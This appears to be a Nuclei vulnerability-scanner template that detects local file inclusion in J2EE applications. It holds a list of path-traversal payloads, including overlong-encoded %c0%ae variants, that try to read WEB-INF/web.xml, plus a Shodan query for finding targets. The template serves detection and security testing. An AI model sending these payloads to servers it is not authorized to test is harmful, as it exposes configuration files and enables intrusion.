id: generic-j2ee-lfi

info:
  name: Generic J2EE LFI Scan Panel - Detect
  author: davidfegyver
  severity: high
  description: Generic J2EE Scan panel was detected. Looks for J2EE specific LFI vulnerabilities; tries to leak the web.xml file.
  reference:
    - https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LFIModule.java
    - https://gist.github.com/harisec/519dc6b45c6b594908c37d9ac19edbc3
  metadata:
    verified: true
    max-request: 13
    shodan-query: http.title:"J2EE"
  tags: lfi,generic,j2ee

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - "/../../../../WEB-INF/web.xml"
        - "/../../../WEB-INF/web.xml"
        - "/../../WEB-INF/web.xml"
        - "/%c0%ae/%c0%ae/WEB-INF/web.xml"
        - "/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
        - "/%c0%ae/%c0%ae/%c0%ae/%c0%ae/WEB-INF/web.xml"
        - "/../../../WEB-INF/web.xml;x="
        - "/../../WEB-INF/web.xml;x="
        - "/../WEB-INF/web.xml;x="
        - "/WEB-INF/web.xml"
        - "/.//WEB-INF/web.xml"
        - "/../WEB-INF/web.xml"
        - "/%c0%ae/WEB-INF/web.xml"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<servlet-name>"
          - "</web-app>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206c56d556f1c1e555ac5b5cd1e86aefc4155612737cc8412335dfe8ec6b2f47d20221008c49a05636936ea39dddadd39c587fa94e4840c961fdd1816dd4a9f06eca6db0:922c64590222798bb761d5b6d8e72950